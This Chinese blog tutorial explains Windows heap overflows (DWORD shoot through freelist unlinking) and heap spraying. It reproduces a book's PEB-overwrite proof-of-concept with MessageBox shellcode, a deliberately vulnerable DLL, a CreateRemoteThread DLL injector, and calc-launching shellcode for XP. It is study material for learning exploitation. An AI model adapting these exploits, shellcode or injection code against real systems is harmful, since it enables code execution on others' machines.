堆溢出,堆喷射简介

版权声明:欢迎转载,注明出处 https://blog.csdn.net/youyou519/article/details/84027226

堆简介

堆上分配内存,就是比如malloc,就是从堆上把这块内存的链表,摘下来共我们使用。堆上自己是按桶的结构进行管理(一个hash表),从2^1,2^2,2^3,2^4.....,如果申请一个50字节内存,就从,2^6分配,64-50=14,有14个内存碎片。我们申请内存就是从这个内存表中把某一个节点从这个双向链表中摘掉。即

Node->bp->fp=Node->fp;
Node->fp->bp=Node->bp;

就是往堆内存,中data拷数据,多考了字节,将,下个节点的fp,bp覆盖了,如果把bp覆盖成任意地址,fp覆盖成任意数据。再一次调用malloc时,发生

Node->bp->fp=Node->fp
((Node->where)+0x0)=Node->what//fp在Node中的偏移是0,即Node绕过了前8个自己,直接指向fp
Node->fp->bp=Node->bp
(Node->what+0x4)=Node->where

堆溢出常用场景:

DWORD SHOOT

  • 内存变量
  • 代码逻辑
  • 返回地址
  • SEH
  • PEB
  • 函数指针(C++虚函数指针)

堆溢出例子

如Peb中有个地址0x7ffdf020是一个函数指针,指向RtlEnterCriticalSection()(77F89103),然后将其替换成shellcode代码最后一行。,然后执行时候就会执行我们的shellcode。

只是写进去,什么时候执行shellcode,完全取决于什么时候调用这个覆盖前的函数。

/*****************************************************************************
      To be the apostrophe which changed "Impossible" into "I'm possible"!
		
POC code of chapter 6.4 in book "Vulnerability Exploit and Analysis Technique"
 
file name	: heap_PEB.c
author		: failwest  
date		: 2007.04.04

description	: demo show of heap overrun, shellcode was executed
			  function pointer of RtlEnterCriticalSection was changed in PEB
			  via DWORD shooting
			  Some address may need to reset via run time debugging

Noticed		:	1 only run on windows 2000
				2 complied with VC 6.0
				3 build into release version
				4 used for run time debugging
version		: 1.0
E-mail		: [email protected]
		
	Only for educational purposes    enjoy the fun from exploiting :)
******************************************************************************/

#include <windows.h>
#include <stdio.h>
/*
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";//200 bytes 0x90
*/

/*
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x52\x00\x20\xf0\xfd\x7f";
//0x00520688 is the address of shellcode in first heap block 
//0x7ffdf020 is the position in PEB which hold a pointer to RtlEnterCriticalSection()
//and will be called by ExitProcess() at last
*/


char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
//repaire the pointer which shooted by heap over run,
//进入shellcode后恢复为RtlEnterCriticalSection(),即复原
//*(int *)(0x7ffdf020)的原来值为77F89103
"\xB8\x20\xF0\xFD\x7F"  //MOV EAX,7FFDF020
"\xBB\x03\x91\xF8\x77"  //MOV EBX,77F89103 the address here may releated to your OS
"\x89\x18"				//MOV DWORD PTR DS:[EAX],EBX
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"//messagebox()
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x30\x70\x40\x00\x20\xf0\xfd\x7f";//shellcode(0x00407030what)-->RtlEnterCriticalSection()(0x7ffdf020where)
//0x00407030 is the address of shellcode in first heap block, you have to make sure this address via debug 
//0x7ffdf020 is the position in PEB which hold a pointer to RtlEnterCriticalSection()
//and will be called by ExitProcess() at last


main()
{
	HLOCAL h1 = 0, h2 = 0;
	HANDLE hp;
	printf("%p,%p\n",*(int *)(0x7ffdf020),shellcode);//获得需要硬编码的地方
	hp = HeapCreate(0,0x1000,0x10000);
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	//__asm int 3 //used to break the process
	//memcpy(h1,shellcode,200); //normal cpy, used to watch the heap
	memcpy(h1,shellcode,0x200); //overflow,0x200=512
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	return 0;
}

peb溢出这个例子,他把0x7ffdf020改写成自己shellcode地址是发生在memcpy内存拷贝的时候,拷贝超过了正常200,然后就溢出到下个节点的bpfp,然后下行代码HeapAlloc(hp,HEAP_ZERO_MEMORY,8,就产生了溢出。

Heap spray

在栈上返回地址设置成堆上的地址,然后将shellcode放到堆上。

设置shellcode一堆0x90,为了提高命中率,0x90是nop,也不影响shellcode。设置成0x0c0c0c0c按一个字节对称,原因是溢出时,燃料不一样。返回地址不固定,长度会影响,所以会错位,所以用对称不会受错位影响。

然后在xp sp3上实验堆喷射,使用ie浏览器构造堆喷的情况,然后写dll在拷贝时候发生将函数返回地址覆盖到0x0c0c0c0c,然后跳转到0x0c0c0c0c,然后执行shellcode,弹出计算器,再xp上用vc6.0,劲量不要用vs,另外自己写的shellcode不溢出,使用函数指针指向shellcode执行时候却能跑起来,不知道什么问题,留给以后又提高了解决吧。下面粘贴上dll,注入dll,网页的代码。

dll代码 

#include "stdafx.h"
#include "heapSpray1.h"
#include <tchar.h>
unsigned char flow[50] = "\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c";

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
    switch (ul_reason_for_call)
	{
		case DLL_PROCESS_ATTACH:
			MessageBox(NULL, _T("123"), _T("123"), MB_OK);
			fnHeapSpray1();
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
			break;
    }
    return TRUE;
}


// This is an example of an exported variable
HEAPSPRAY1_API int nHeapSpray1=0;

// This is an example of an exported function.
HEAPSPRAY1_API int fnHeapSpray1(void)
{
		char temp[26];
	__asm {
		mov eax, eax;
		mov eax, eax;
		mov eax, eax;

	}
	strcpy(temp, (char*)flow);

	return 2;
	return 42;
}

// This is the constructor of a class that has been exported.
// see heapSpray1.h for the class definition
CHeapSpray1::CHeapSpray1()
{ 
	return; 
}

注入器的关键代码



BOOL  EnableDebugPrivilege()
{
	HANDLE hToken;
	BOOL fOk = FALSE;
	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) //Get Token
	{
		TOKEN_PRIVILEGES tp;
		tp.PrivilegeCount = 1;
		if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid))//Get Luid
			printf("Can't lookup privilege value.\n");
		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;//这一句很关键,修改其属性为SE_PRIVILEGE_ENABLED
		if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL))//Adjust Token
			printf("Can't adjust privilege value.\n");
		fOk = (GetLastError() == ERROR_SUCCESS);
		CloseHandle(hToken);
	}
	return fOk;
}





BOOL LoadDll(DWORD dwProcessID, char *szDllPathName) {//第一个参数进程ID,加载dll的完整路径




	EnableDebugPrivilege();
	BOOL bRet;

	HANDLE hProcess;

	HANDLE hThread;

	DWORD dwLength;

	DWORD dwLoadAddr;

	LPVOID lpAllocAddr;

	DWORD dwThreadID;

	HMODULE hModule;

	bRet = 0;

	dwLoadAddr = 0;

	hProcess = 0;

	//1.获取进程句柄
	//PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessID);

	int a = GetLastError();

	CString STemp;
	STemp.Format(_T("%d"), a);

	if (hProcess == NULL) {

		MessageBox(NULL, STemp, _T("OpenProcess Error"), MB_OK);
		return FALSE;

	}

	//2. 计算DLL路径名字长度,并且要加上0结尾的长度

	dwLength = strlen(szDllPathName) + 1;

	//3. 在目标进程分配内存

	lpAllocAddr = VirtualAllocEx(hProcess, NULL, dwLength, MEM_COMMIT, PAGE_READWRITE);

	if (lpAllocAddr == NULL) {
		MessageBox(NULL, _T("inject explore"), _T("VirtualAllocEx Error!\n"), MB_OK);
		CloseHandle(hProcess);

		return FALSE;

	}

	//4.拷贝DLL路径名字到目标进程的内存

	bRet = WriteProcessMemory(hProcess, lpAllocAddr, szDllPathName, dwLength, NULL);

	if (!bRet) {
		MessageBox(NULL, _T("inject explore"), _T("WriteProcessMemory Error!\n"), MB_OK);
		CloseHandle(hProcess);

		return FALSE;

	}

	//5.因为Kernel32,大家都有,所以从自己进程这获取就行,所以这步是获取模块地址

	hModule = GetModuleHandle("kernel32.dll");

	if (!hModule) {

		MessageBox(NULL, _T("inject explore"), _T("GetModuleHandle Error!\n"), MB_OK);
		CloseHandle(hProcess);

		return FALSE;

	}

	//6.获取LoadLibraryA函数地址

	dwLoadAddr = (DWORD)GetProcAddress(hModule, "LoadLibraryA");

	if (!dwLoadAddr) {
		MessageBox(NULL, _T("inject explore"), _T("GetProcAddress Error!\n"), MB_OK);
		CloseHandle(hProcess);

		return FALSE;

	}

	//7. 创建远程线程,加载Dll

	hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)dwLoadAddr, lpAllocAddr, 0, NULL);
	int a1 = GetLastError();

	CString STemp1;
	STemp1.Format(_T("%d"), a1);


	if (!hThread) {
		MessageBox(NULL, STemp1, _T("CreateRemoteThread Error!\n"), MB_OK);
		CloseHandle(hProcess);

		CloseHandle(hModule);

		return FALSE;

	}

	//8.关闭句柄

	CloseHandle(hProcess);

	return TRUE;

}



//................mfc的代码

//下面是调用


void CZhuruqiDlg::OnOK() 
{
	// TODO: Add extra validation here
	UpdateData(TRUE);
	int mpid= _ttoi(m_PID);
	LoadDll(mpid, "C:\\test1\\heapSpray1.dll");
	CDialog::OnOK();
}

下面是正常的shellcode机器码,和我自己不正常的机器码

//正常
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x7b\x1d\x80\x7c"  //loadlibrary地址
"\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x61\x6c\x63\x89\x45\xF4\xB8\x2e\x65\x78\x65"
"\x89\x45\xF8\xB8\x20\x20\x20\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xc7\x93\xbf\x77" //sytem函数地址 system("calc.exe");
"\xFF\xD0"
"\x53\xb8\xfa\xca\x81\x7c"//ExitProcess Address
"\xff\xd0"//ExitProcess(0);


//自己不正常的
"\x8B\xE5" //MOV ESP, EBP
"\x55" //PUSH EBP
"\x8B\xEC" //mov ebp, esp
"\x33\xFF" //xor edi,edi
"\x57"//push edi
"\x83\xEC\x08" //sub esp,08h
"\xC6\x45\xF4\x6D"//mov byte ptr [ebp-0ch],'m'
"\xC6\x45\xF5\x73"//'s'
"\xC6\x45\xF6\x76"//'v'
"\xC6\x45\xF7\x63"//'c'
"\xC6\x45\xF8\x72"//'r'
"\xC6\x45\xF9\x74"//'t'
"\xC6\x45\xFA\x2E"//'.'
"\xC6\x45\xFB\x64"//'d'
"\xC6\x45\xFC\x6C"//'l'
"\xC6\x45\xFD\x6C"//'l'
"\x8D\x45\xF4" //lea eax, [ebp-0ch]
"\x50" //push eax
"\xB8\x7B\x1D\x80\x7C" //mov eax, 7C801D7Bh address of loadlibrary
"\xFF\xD0" //call eax
"\x33\xDB" //xor ebx, ebx
"\x53" //push ebx
"\x68\x2E\x65\x78\x65" //push 'exe.'
"\x68\x63\x61\x6C\x63" //push 'clac'
"\x8B\xC4" //mov eax, esp
"\x50" //push eax
"\xB8\xC7\x93\xBF\x77" //mov eax, 77BF93C7h address of system
"\xFF\xD0" //call eax
"\xB8\xFA\xCA\x81\x7C" //mov eax, 7c81cafah address of exitprocess
"\xFF\xD0"//call eax

猜你喜欢

转载自blog.csdn.net/youyou519/article/details/84027226